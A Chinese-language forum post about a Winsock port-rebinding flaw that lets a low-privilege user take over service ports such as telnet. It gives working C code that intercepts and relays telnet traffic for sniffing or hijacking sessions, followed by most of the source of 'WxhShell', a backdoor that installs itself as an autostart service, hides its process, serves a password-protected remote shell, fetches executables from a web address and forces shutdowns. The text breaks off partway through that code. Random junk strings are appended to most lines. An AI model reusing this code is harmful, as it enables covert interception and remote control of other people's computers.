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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O}-7 V5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h%s  
I`TD*D  
  saddr.sin_family = AF_INET; 48Lmy<}*  
)R@gnTe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QL2y,?Mz7  
?<?C*W_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j*u9+.   
2S6EDXc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f ti|3c  
KaE;4gwM  
  这意味着什么?意味着可以进行如下的攻击: /&d`c=nH  
cmU+VZ#pk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 grdyiBSVn  
:"^< aLj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Iq]6]  
*UoHzaIqz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a.IF%hP0xo  
bMZn7c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  TY\"@(Q|G  
~&lJT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '?gI cWM  
FTnQqDuT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,M&0<k\  
X&?lDL7?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }!]x|zU.=  
 RhNaYO  
  #include by]|O  
  #include ]MLLr'6?  
  #include ynbpewaa  
  #include    v6-~fcX0G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :2)1vQH0L  
  int main() <o7#?AcPu  
  { ~1r*/@M[V  
  WORD wVersionRequested; d3G{0PX  
  DWORD ret; |id79qY7g  
  WSADATA wsaData; I/V )z9  
  BOOL val; {dA ~#fW<  
  SOCKADDR_IN saddr; hAr[atu87  
  SOCKADDR_IN scaddr; +%qSB9_>N{  
  int err; t-m9n*\j1  
  SOCKET s; px }7If  
  SOCKET sc; ;#yu"6{  
  int caddsize; Eh@T W%9*  
  HANDLE mt; +>:}req  
  DWORD tid;   B+e_Y\B u  
  wVersionRequested = MAKEWORD( 2, 2 ); b({Nf,(a2  
  err = WSAStartup( wVersionRequested, &wsaData ); QYTTP6 Gz+  
  if ( err != 0 ) { 3hXmYz(  
  printf("error!WSAStartup failed!\n"); ]]=-AuV.  
  return -1; 8yWu{'G  
  } QPe9s[Y  
  saddr.sin_family = AF_INET; B>|U-[A  
   ;*-@OLT_K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \l]pe|0EW  
<duBwkiG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N+s?ZE*  
  saddr.sin_port = htons(23); 9Z0CF~Y5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hX8gV~E=y  
  { MLt'YW^  
  printf("error!socket failed!\n"); S#h'\/S  
  return -1; 6A$_&?  
  } yC'hwoQ`  
  val = TRUE; >'ksXA4b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XewXTd #x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tt7PEEf  
  { :otY;n-  
  printf("error!setsockopt failed!\n"); c}IX"  
  return -1; v LBee>$  
  } [%7;f|p?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \[[TlB>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /o|PA:6J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q7 uAf3  
M<A;IOpR+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <V$Y6(uMs  
  { < QDr,Hj  
  ret=GetLastError(); rL%]S&M9  
  printf("error!bind failed!\n"); abROFI5.L  
  return -1; O t *K+^I  
  } h v$uH7Fz  
  listen(s,2); mUrS &&fu8  
  while(1) {PODisl>\D  
  { 1V|< A  
  caddsize = sizeof(scaddr); y+4?U  
  //接受连接请求 JrCf,?L^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V[o7J r~  
  if(sc!=INVALID_SOCKET) AI1@-  
  { QKp+;$SE'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ku/\16E/k  
  if(mt==NULL) MzEm*`<  
  { @Jb@L  
  printf("Thread Creat Failed!\n"); '1W!xQ}E  
  break; ^>N8*=y  
  } M82.khm~jM  
  } k{gl^  
  CloseHandle(mt); T@;! yz}Pf  
  } >_;kTy,  
  closesocket(s); K\RWC4  
  WSACleanup(); On#;)35M  
  return 0; m b%C}8D  
  }   :3f-9aRC!  
  DWORD WINAPI ClientThread(LPVOID lpParam) F(Lb8\to\M  
  { 0LetsDN7I  
  SOCKET ss = (SOCKET)lpParam; i&'#+f4t  
  SOCKET sc; 99<4t$KH  
  unsigned char buf[4096]; 3jvx2  
  SOCKADDR_IN saddr; iuiAK  
  long num; P@qMJ}<j  
  DWORD val; 89hF )80  
  DWORD ret; _Zh2eXWdjM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qBT_! )h   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (C,e6r Y  
  saddr.sin_family = AF_INET; ;tJWOm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `TUZZz  
  saddr.sin_port = htons(23); <^d!Vzr]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^'m\D;  
  { T!MZ+Ph`F  
  printf("error!socket failed!\n"); 3^{8_^I  
  return -1; 4HM;K_G%{  
  } z)}3**3'y  
  val = 100; \I?w)CE@R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $j57LY|r  
  { 8EOh0gk7  
  ret = GetLastError(); Eu|sWdmf l  
  return -1; 538fK9[  
  } G3G/ xC"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $0_^=D EW  
  { *'6s63)I2  
  ret = GetLastError(); xdPcsox~  
  return -1; _}D%iJg#  
  } `)T&~2n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :4|M jn  
  { "u_i[[y  
  printf("error!socket connect failed!\n"); <0#^7Z  
  closesocket(sc); n=q=zn;  
  closesocket(ss); 9z:K1  
  return -1; R~)ybf{  
  } 2UiR~P]%  
  while(1) _g[-=y{Bb  
  { wqUQ"d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w!\3ICB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {(4# )K2g%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (?vK_{  
  num = recv(ss,buf,4096,0); KF+mZB  
  if(num>0) :}Ok$^5s  
  send(sc,buf,num,0); Ry&q1j  
  else if(num==0) %#u.J  
  break; P^pFqUL7#  
  num = recv(sc,buf,4096,0); /prYSRn8  
  if(num>0) #;]2=@  
  send(ss,buf,num,0); F?9SiX[\  
  else if(num==0) tmO`|tn&  
  break; #n3ykzoqIX  
  } ?R|th Z  
  closesocket(ss); `N}d}O8   
  closesocket(sc); -p`L% xj\  
  return 0 ; ; DDe.f"  
  } <C'Z H'p  
e`iEy=W  
'Dath>Y=  
========================================================== EiWd+v,QJQ  
yzR=A%V8A  
下边附上一个代码,,WXhSHELL T/l1qcf`wT  
3-C\2  
========================================================== L[y Pjw:0  
<r~wZ}s  
#include "stdafx.h" >zs5s  
e4\dpvL  
#include <stdio.h> "$|Zr  
#include <string.h> + BL{@,zr  
#include <windows.h> n-J2/j  
#include <winsock2.h> [|RjHGf  
#include <winsvc.h> zXZir7NfM  
#include <urlmon.h> iidT~l  
&eQJfc\a  
#pragma comment (lib, "Ws2_32.lib") <??umkV  
#pragma comment (lib, "urlmon.lib") D."=k{r.  
fvqd'2 t  
#define MAX_USER   100 // 最大客户端连接数 q/PNJ#<  
#define BUF_SOCK   200 // sock buffer  |yKud  
#define KEY_BUFF   255 // 输入 buffer X(*!2uS  
(dqCa[  
#define REBOOT     0   // 重启 B{MaMf)  
#define SHUTDOWN   1   // 关机 w5,Mb  
8 lT{1ro  
#define DEF_PORT   5000 // 监听端口 iPj~I  
e,gyQjJR  
#define REG_LEN     16   // 注册表键长度 !L$x:/R9M  
#define SVC_LEN     80   // NT服务名长度 Ak@Dyi?p  
)nfEQ)L;h}  
// 从dll定义API @Jn!0Y1_3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FwG!>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t;NV $!!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w7TJv4_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =(o']ZaaA  
swcd&~9r  
// wxhshell配置信息 k N7Bd}  
struct WSCFG { )[Z!*am  
  int ws_port;         // 监听端口 L]%l51U  
  char ws_passstr[REG_LEN]; // 口令 !t#F/C  
  int ws_autoins;       // 安装标记, 1=yes 0=no (?0`d  
  char ws_regname[REG_LEN]; // 注册表键名 pG3k   
  char ws_svcname[REG_LEN]; // 服务名 A7Po 3n%Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q v*7K@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (s<s@`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nz]&a1"&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YJeyIYCs<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C[sh,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EgjR^A1W2  
soRv1)el  
}; 4?\:{1X=  
~`ny @WD9  
// default Wxhshell configuration p'_%aVm7  
struct WSCFG wscfg={DEF_PORT, OHv!  
    "xuhuanlingzhe", L{-LX= G^  
    1, #%0Bx3uM  
    "Wxhshell", yLE7>48  
    "Wxhshell", =FP0\cQ.  
            "WxhShell Service", j=RRfFg)  
    "Wrsky Windows CmdShell Service", ypOLp SYk  
    "Please Input Your Password: ", *cuuzi&  
  1, I#F!N6;  
  "http://www.wrsky.com/wxhshell.exe", `F YjQ e"p  
  "Wxhshell.exe" D\dWt1n  
    }; !>,m&O-x  
<EO$]>;0  
// 消息定义模块 Yb3mP!3q8Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; soA|wk\A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S-Y=-"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YHkcWz  
char *msg_ws_ext="\n\rExit."; % 2$/JZ  
char *msg_ws_end="\n\rQuit."; b V+(b9  
char *msg_ws_boot="\n\rReboot..."; Q_-_^J  
char *msg_ws_poff="\n\rShutdown..."; X|f7K  
char *msg_ws_down="\n\rSave to "; g- AHdYJ  
TxjYrzC  
char *msg_ws_err="\n\rErr!"; gxz-R?.  
char *msg_ws_ok="\n\rOK!"; `nM/l @  
Qd}m`YW-f$  
char ExeFile[MAX_PATH]; xsd_Uu*  
int nUser = 0; 3$.deYa$R  
HANDLE handles[MAX_USER]; wN1niR'  
int OsIsNt; 0sN.H=   
"Ve.cP,7(  
SERVICE_STATUS       serviceStatus; MFTk qbc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _v Sn`  
];'v8)Y  
// 函数声明 aRG2@5  
int Install(void); mMsTyM-f  
int Uninstall(void); _XJ2fA )  
int DownloadFile(char *sURL, SOCKET wsh); \drqG&wl  
int Boot(int flag); w0w G-R ?  
void HideProc(void); Ox#\M0Wn$3  
int GetOsVer(void); i1H\#;`$  
int Wxhshell(SOCKET wsl); ~P~  
void TalkWithClient(void *cs); ~U;rw&'H  
int CmdShell(SOCKET sock); l @^3Exwt  
int StartFromService(void); U2uF&6v  
int StartWxhshell(LPSTR lpCmdLine); ono4U.C9  
a=M\MZK>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fP.F`V_Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I%- " |]$  
G}&Sle]  
// 数据结构和表定义 :ba5iMa  
SERVICE_TABLE_ENTRY DispatchTable[] = afYc\-"  
{ ylt`*|$  
{wscfg.ws_svcname, NTServiceMain}, ,9WBTH8  
{NULL, NULL} 626Z5Afg  
}; ^i:`ZfA#  
Cvn#=6V3  
// 自我安装 &u#&@J  
int Install(void) K|dso]b/  
{ 3p0LN'q]A  
  char svExeFile[MAX_PATH]; &f&z_WU  
  HKEY key; ^Z:~91Tv-_  
  strcpy(svExeFile,ExeFile); ]`Oo%$Ue  
]X I*Wsn  
// 如果是win9x系统,修改注册表设为自启动 m1Y >Nj[f  
if(!OsIsNt) { >JiltF7H0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pp )3(T:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `FoxP  
  RegCloseKey(key); FJasS8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P2bZ65>3y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K)J(./  
  RegCloseKey(key); "~D]E7Q3y  
  return 0; &197P7&o  
    } P*cNh43U  
  } 33!oS&L  
} _cXqAo  
else { 8']9$#  
M)U{7c$c7  
// 如果是NT以上系统,安装为系统服务 TY1I=8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =jN *P?  
if (schSCManager!=0) 3-&QRR#p  
{ ^MVkZ{gtre  
  SC_HANDLE schService = CreateService ^<e.]F25M  
  ( V{JAB]?^  
  schSCManager, qHxqQ'ks;  
  wscfg.ws_svcname, ]Ux<aiY]a  
  wscfg.ws_svcdisp, Rz.?i+  
  SERVICE_ALL_ACCESS, ~JaAii{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )b:7-}d  
  SERVICE_AUTO_START, ayiu,DXx  
  SERVICE_ERROR_NORMAL, ELj\[&U  
  svExeFile, %"P,1&\^  
  NULL, 0(S"{Ov  
  NULL, ;aw=MV  
  NULL, }I :OsAw  
  NULL, 92 [; Y  
  NULL m@^1JlH  
  );  rwI  
  if (schService!=0) ]wtb-PC  
  { %HL*c =  
  CloseServiceHandle(schService); U-|NY  
  CloseServiceHandle(schSCManager); }5hqD BK?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ A=$oVe  
  strcat(svExeFile,wscfg.ws_svcname); +t?3T-@Ks  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !1ED~3 /X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -:na: Vsi  
  RegCloseKey(key); v61[.oS  
  return 0; #Y4=J 6  
    } O<,\^[x  
  } + ~>Aj  
  CloseServiceHandle(schSCManager); A -b [>} _  
} 9pX&ZjYP-  
} &sU?Ok6  
o}$ EG  
return 1; I= &stsH  
} +1D+]*t_?[  
iB498t  
// 自我卸载 43@{JK9G  
int Uninstall(void) sNLs\4v  
{ k<" oiCE  
  HKEY key; %;rHrDP(>  
Gy6l<:;  
if(!OsIsNt) { ,.7*Hpa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yI"6Da6|y  
  RegDeleteValue(key,wscfg.ws_regname); 8/=L2fNN[  
  RegCloseKey(key); +>r/0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7BJzM lJ1Y  
  RegDeleteValue(key,wscfg.ws_regname); pNKhc#-w  
  RegCloseKey(key); ekWePL;rR2  
  return 0; <x<"n t  
  } 6e[VgN-s  
} d%o&+l#  
} u)~C;f)  
else { \Z+z?K O  
o}* hY"&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iT%} $Lu~  
if (schSCManager!=0) (EI;"N (x  
{ .n~M(59  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =fO5cA6Z  
  if (schService!=0) bp~g;h*E2  
  { ~,i-8jl,  
  if(DeleteService(schService)!=0) { `.i!NBA'6  
  CloseServiceHandle(schService); ,"HL~2:~  
  CloseServiceHandle(schSCManager); .%L?J E  
  return 0; {o.FlX  
  } *tK\R&4,4s  
  CloseServiceHandle(schService); 'LO^<  
  } y9>ZwYN  
  CloseServiceHandle(schSCManager); 0sfr d  
} >kW@~WDMu  
} (adyZ/j  
LdL/399<  
return 1; $3s@}vLd  
} ~wkj&yVT  
CnG+Mc^  
// 从指定url下载文件 ):b$xNn  
int DownloadFile(char *sURL, SOCKET wsh) SAyufLEv,  
{ {M^3m5.^  
  HRESULT hr; lXjXqk\  
char seps[]= "/"; p(/dBt[3k  
char *token; ZHm7Isa1  
char *file; VB, ?Mo}R  
char myURL[MAX_PATH]; K otrX  
char myFILE[MAX_PATH]; 8[E!E)4M  
{l/-LZ.  
strcpy(myURL,sURL); JNJ=e,O,  
  token=strtok(myURL,seps); f]\CD<g3|E  
  while(token!=NULL) t3&LO~Ye  
  { &GB:|I'%7  
    file=token; 1ke g9]  
  token=strtok(NULL,seps); &I (#Wy3  
  } b"vv>Q~U  
3v5%y '  
GetCurrentDirectory(MAX_PATH,myFILE); nh!a)]c[  
strcat(myFILE, "\\"); SU/BQ3  
strcat(myFILE, file); y&?6FY  
  send(wsh,myFILE,strlen(myFILE),0); 4'!c*@Y  
send(wsh,"...",3,0); q@nP}Pv&5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); / ;,Md,p  
  if(hr==S_OK) dAkgR~  
return 0; 'VlDh`<W  
else :"xzj<(  
return 1; =1Oj*x@*4  
X bD4:i%  
} 'Pn3%&O$  
uFPF!Ern  
// 系统电源模块 DW_1,:,?7l  
int Boot(int flag) JAQb{KefdO  
{ qT`k*i?  
  HANDLE hToken; w6{TE(]zp  
  TOKEN_PRIVILEGES tkp; *U]V@;XF  
.xH5fMj,"  
  if(OsIsNt) { ZRg;/sX]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ak |WW]R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }DK7'K  
    tkp.PrivilegeCount = 1; =W BTm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7zSLAHW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LS88.w\=S@  
if(flag==REBOOT) { :=\Hoz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bS"fkf9  
  return 0; Db1pW=66:  
} ,kF}lo)  
else { }7 c[Q($K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) glF; e T  
  return 0; fH >NJK;  
} '4|-9M3f  
  } h9Y%{v  
  else { }#Qc \eud  
if(flag==REBOOT) { U~j ^I^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ooq! 0g  
  return 0; S7L=#+Z  
} h?;T7|^  
else { +i2}/s@JJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @vrV*!  
  return 0; < VSA  
} d BJJZ^(  
} 3 YFU*f,  
UM6(s@$  
return 1; %^>ju;i^O  
} }t%!9hr5D  
WUsKnf  
// win9x进程隐藏模块 8peDI7[|  
void HideProc(void) ( m:Zk$  
{ ZObhF#Y9  
\,7}mdQSv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (;57Vw  
  if ( hKernel != NULL ) km1~yQ"bH  
  { dnb)/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \u>"s   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K/3)g9Z&io  
    FreeLibrary(hKernel); uec!RKE  
  } mA*AeP_$  
, eZ1uBI?  
return; t7?Zxq  
} c(n&A~*AJ%  
w`il=ZAC  
// 获取操作系统版本 y?a Acn$  
int GetOsVer(void) Xp8]qH|K   
{ -:Ia^{YN  
  OSVERSIONINFO winfo; kLn i{IYN7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sPMa]F(  
  GetVersionEx(&winfo); cnFI &,FM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JNa"8  
  return 1; 0VGPEKRh  
  else v {jQek4  
  return 0; ,>eMG=C;g  
} >9(hUH  
tdSfi<y5I  
// 客户端句柄模块 o(r\E0 I  
int Wxhshell(SOCKET wsl) ]zQo>W$  
{ !\"5rNy  
  SOCKET wsh; ""1^k2fj  
  struct sockaddr_in client; 'C ~ y5j  
  DWORD myID; a(9L,v#?  
&b?LP]   
  while(nUser<MAX_USER) 3&[>u;Bp  
{ PG_0\'X)/w  
  int nSize=sizeof(client); 5K<5kHpvJ{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #L{OV)a<  
  if(wsh==INVALID_SOCKET) return 1; bV8!"{  
1Lg-.-V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 20iq2  
if(handles[nUser]==0) _jNj-)RB_  
  closesocket(wsh); 'C:>UlzLy  
else eXK o.JL  
  nUser++; /u0' 6V  
  } E7CH^]x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q@@T]V6  
q&Gz ]  
  return 0; HE'2"t[a  
} AjT%]9 V?  
H~+l7OhV  
// 关闭 socket 2Ri{bWi  
void CloseIt(SOCKET wsh) o4%y>d)  
{ 't_[dSO  
closesocket(wsh); s_> f5/i2  
nUser--; \uXcLhXN  
ExitThread(0); K,w"_T  
} A%^w^f  
 -Y H<  
// 客户端请求句柄 lK4M.QV ?\  
void TalkWithClient(void *cs) aAA9$  
{ ]6{*^4kX  
~-dV^SO  
  SOCKET wsh=(SOCKET)cs; RgGyoZ  
  char pwd[SVC_LEN]; 9(L)&S{4K  
  char cmd[KEY_BUFF]; -W<vyNSr  
char chr[1]; g*F'[Z."  
int i,j; sp ]zbX?  
.'rW.'Ft  
  while (nUser < MAX_USER) { )DeA} e ?F  
u&9 r2R959  
if(wscfg.ws_passstr) { 4lM8\Lr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a?6a b+7#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LK;k'IJ  
  //ZeroMemory(pwd,KEY_BUFF); n':!,a[  
      i=0; ylB7*>[  
  while(i<SVC_LEN) { Qhw^S*  
/MF! GM  
  // 设置超时 TD9;kN1`  
  fd_set FdRead; !Mu|mz=  
  struct timeval TimeOut; oX DN+4ge  
  FD_ZERO(&FdRead); Rt{B(L.?<  
  FD_SET(wsh,&FdRead); IZm(`b;t^  
  TimeOut.tv_sec=8;  :Mcu  
  TimeOut.tv_usec=0; 6}(J6T46M[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v 0kqu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b.@P%`@a.  
K3' niGT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C-?%uF  
  pwd=chr[0]; v NeCpf  
  if(chr[0]==0xd || chr[0]==0xa) { sU"}-de  
  pwd=0; M#4QQ} F.  
  break; 8NU`^L:1  
  } #CnHf  
  i++; A#W?2k9  
    } O4g+D#Lu  
L3p`  
  // 如果是非法用户,关闭 socket ] )"u+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v @O&t4  
} 'r@:Cz3e*I  
R.s^o]vT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +e-,ST&w(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2TES>}  
ZKz,|+X0G  
while(1) { "iM~Hy  
e } *0ghKI  
  ZeroMemory(cmd,KEY_BUFF); N 6T{  
jV/CQM5a+  
      // 自动支持客户端 telnet标准   =rd|0K"(r  
  j=0; ?|1Mv1C?  
  while(j<KEY_BUFF) { ]u-02g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7P B)'Wl"6  
  cmd[j]=chr[0]; ;oxAe<VIj  
  if(chr[0]==0xa || chr[0]==0xd) { KZbR3mi,  
  cmd[j]=0; yfDAk46->6  
  break; 7 JDN{!jT  
  } d$Y7u  
  j++; !~ZP{IXyo  
    } '&FjW-`" G  
BYM3jXWi0v  
  // 下载文件 &5%dhc4&!&  
  if(strstr(cmd,"http://")) { y#<MV H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hAqg Iu*  
  if(DownloadFile(cmd,wsh)) /:\3 \{?0m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ C0TD7=  
  else G2#d $  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQ~WEC  
  } T}D<Sc  
  else { &48_2Q"{  
D\~e&0*  
    switch(cmd[0]) { *RR[H6B^]X  
  GOSI3RRn  
  // 帮助 8yW oPm<A  
  case '?': { =6=_/q2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >~\w+^2f8  
    break; '(#g1H3  
  } a45 ss7  
  // 安装 #*c F8NV-  
  case 'i': { -Z^4L  
    if(Install()) 7@PIM5h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sg] J7;]  
    else Dz_eB"}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eX2<}'W<  
    break; q6wr=OWD  
    } h7;bclU  
  // 卸载 M8@_Uj  
  case 'r': { ecX/K.8l  
    if(Uninstall()) \m@Y WO?L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l #@&~f[  
    else l9/:FiJ_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y1BgK>R  
    break; L|^o7 1t|  
    } ;t]|15]u  
  // 显示 wxhshell 所在路径 (tl}q3U  
  case 'p': { _a+ICqR  
    char svExeFile[MAX_PATH]; ., :uZyG  
    strcpy(svExeFile,"\n\r"); j1$<]f  
      strcat(svExeFile,ExeFile); idJh^YD  
        send(wsh,svExeFile,strlen(svExeFile),0); ?Ay3u^X  
    break; *+8%kn`c  
    } mjEs5XCC"  
  // 重启 "A]Y~iQ  
  case 'b': { 2[dIOb4b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (G4'(6  
    if(Boot(REBOOT)) Zj-BuE&@f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o&^NwgRCF  
    else { C>*n9l[M~  
    closesocket(wsh); H/+{e,SW"  
    ExitThread(0); ]@SU4  
    } 7nz!0I^   
    break; HR3_@^<7  
    } 4YJ=q% G  
  // 关机 *`KrVu 6s  
  case 'd': { =ef1XQ{i*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h39e)%x1  
